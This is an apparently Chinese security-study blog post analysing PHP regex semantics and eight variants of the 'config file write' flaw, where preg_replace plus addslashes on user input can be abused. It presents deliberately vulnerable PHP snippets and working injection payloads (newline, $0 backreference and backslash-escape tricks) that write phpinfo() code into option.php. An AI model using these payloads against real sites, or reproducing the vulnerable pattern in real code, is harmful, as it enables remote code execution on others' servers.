[小密圈]经典写配置漏洞与几种变形学习

前言

今天p牛在小密圈总结了8种配置文件写入问题,在去年的高校运维赛中,我自己也利用其中的一种变种成功的非预期getshell。这种配置文件写入操作多存在于后台,并且也是很常见的,利用方式很有意思,p牛仅写了大体思路,在这里我想仔细分析一下。

正则表达式问题

最早学正则的时候肯定就接触 ^ 和 $ 两个字符了,大部分开发者使用这两个界定符本意是匹配"字符串的开头和结尾",但这两个界定符在正则里原本的意思是"行的开头和结尾",这就出现了一些差异。
正则安全中关于首尾界定符的一些小细节 

m修饰符

/m 修饰符表示多行匹配, multi-line 表示按行来匹配正则,可以理解为,将待匹配的文本用换行符分割后,每一部分都对其进行正则匹配,并将结果用OR运算来计算,得出最终结果。

<?php
if(preg_match('/^a[a-z]+z$/m', $_GET['input'])) {
  echo$_GET['input'];
}

第一行通过匹配即使后面匹配不上也会返回1,因此这里我们可以使用 %0a 换行符绕过。

s修饰符

根据p牛文章中所述,官方文档中 single-line的意思是将待匹配的文本视为一行,换行符不再作为"换行"的标志 是错误的,正确的描述应该是 s并不能指定正则是否是single-line,因为PCRE正则默认情况下就是single-line,而s的意思只是".是否能匹配上换行" 。
因为

<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbz\nccz"));//结果是0。说明这里并不是multi-line
?>
<?php
var_dump(preg_match('/^a.+z$/', "abbz\nccz"));//结果是0。说明.没匹配上\n
?>
<?php
var_dump(preg_match('/^a.+z$/s', "abbz\nccz"));//结果是1,说明.匹配上了\n

因此在没有m和s修饰符的情况下,默认将待匹配的文本视为一行,且 . 不能匹配"换行"。

  • 不加s或m修饰符 -> single line ,但 . 不能匹配换行符
  • 单独加s修饰符 -> single line ,且 . 匹配包括换行符在内的所有字符
  • 单独加m修饰符 -> multi line 
  • 同时加m和s两个修饰符 -> multi line ,且 . 匹配包括换行符在内的所有字符

$匹配换行问题

multi-line 下,因为是多行模式,所以 $ 可以匹配每一行的结尾,且不会匹配换行符。
single-line 下(根据上面可知,包括 /s 和同时没有 /ms ),将整个文本视为一行,所以 $ 匹配的是文本的结尾,且包括结尾的换行符。

<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbbz\n"));//返回1

例如Apache换行解析漏洞:因为 $ 能匹配 \n ,所以上传 shell.php\n 仍然可以让Apache解析PHP文件。

image.png
ps:Orz!p牛tql,也许这才是安研吧。

经典写配置漏洞与几种变形

正则贪婪模式、无s单行模式:

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

攻击方法:利用换行符绕过正则,第一次写入webshell,第二次使之逃逸。分别发送如下两个请求,即可写入phpinfo。
http://localhost:9090/update.php?api=aaaaa%27;%0aphpinfo();// 

<?php
$API = 'aaaaa\';
phpinfo();//';

http://localhost:9090/update.php?api=aaaaa 

<?php
$API = 'aaaaa';
phpinfo();//';

可以看到由于默认情况下 . 不会匹配换行符,因此我们可以第一次在文件中写入换行符,第二次由于 . 匹配不到换行符,所以会匹配到转义后的 \' ,第二次将 aaaaa\ 替换为正常字符串,从而导致单引号逃逸。

单行模式

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

攻击方法:利用正则替换的方式,第二次用 $0 或 \0 引入单引号,导致第一次传入的 phpinfo 逃逸。
http://localhost:9090/update.php?api=;phpinfo(); 

<?php
$API = ';phpinfo();';

http://localhost:9090/update.php?api=$0 

<?php
$API = '$API = ';phpinfo();';';

/s 模式下, . 会匹配换行符,因此上面的方法无法使用。
这里使用了 $0 ,也就是完整的模式或匹配文本。
image.png
从而把 $API = ';phpinfo();' 引入,闭合掉前后的单引号,导致 phpinfo(); 逃逸,思路好秀。

基础非贪婪和单行非贪婪

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
?>

仅匹配到第一个单引号后,因此payload同第一种方式相同,可以使用换行也可以不使用。

<?php
$API = 'aaaaa';phpinfo();//';

单行非贪婪

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

同理,只不过使用了 /s 修饰符,p牛文章中说不能使用换行符,其实还是可以使用换行符的,因为是非贪婪模式,匹配到第一个单引号就停止了。payload同上,可以使用换行也可以不使用。

define基础版

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

同第一种大同小异,只需要多个括号。
http://127.0.0.1:999/file.php?api=aaaaa%27);%0aphpinfo();// 

<?php
define('API', 'aaaaa\');
phpinfo();//');

http://127.0.0.1:999/file.php?api=aaaaa 

<?php
define('API', 'aaaaa');
phpinfo();//');

define单行版

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

如果用第二种攻击方法,将会导致"插坏"的情况出现,因为引入了无法控制的单引号。

<?php
define('API', 'define('API', ';phpinfo();');');

攻击方法:因为 preg_replace 在替换的时候会吃掉转义符,利用这个特点,即可引入单引号。
http://localhost:9090/update.php?api=aaa\%27);phpinfo();//  
替换前: aaa\\\');phpinfo();// 
替换后: aaa\\');phpinfo();// 

<?php
define('API', 'aaa\\');phpinfo();//');

这个方法可以通杀这篇文章里所有的版本。

define基础版非贪婪模式

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

同基础,可有换行也可无

define单行非贪婪模式

<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

http://localhost:9090/update.php?api=aaaa%27);phpinfo();// 
http://localhost:9090/update.php?api=aaaa 

后记

原以为搞懂会很复杂,最后发现跟举一反三差不多。

Referer

正则安全中关于首尾界定符的一些小细节
经典写配置漏洞与几种变形 
image.png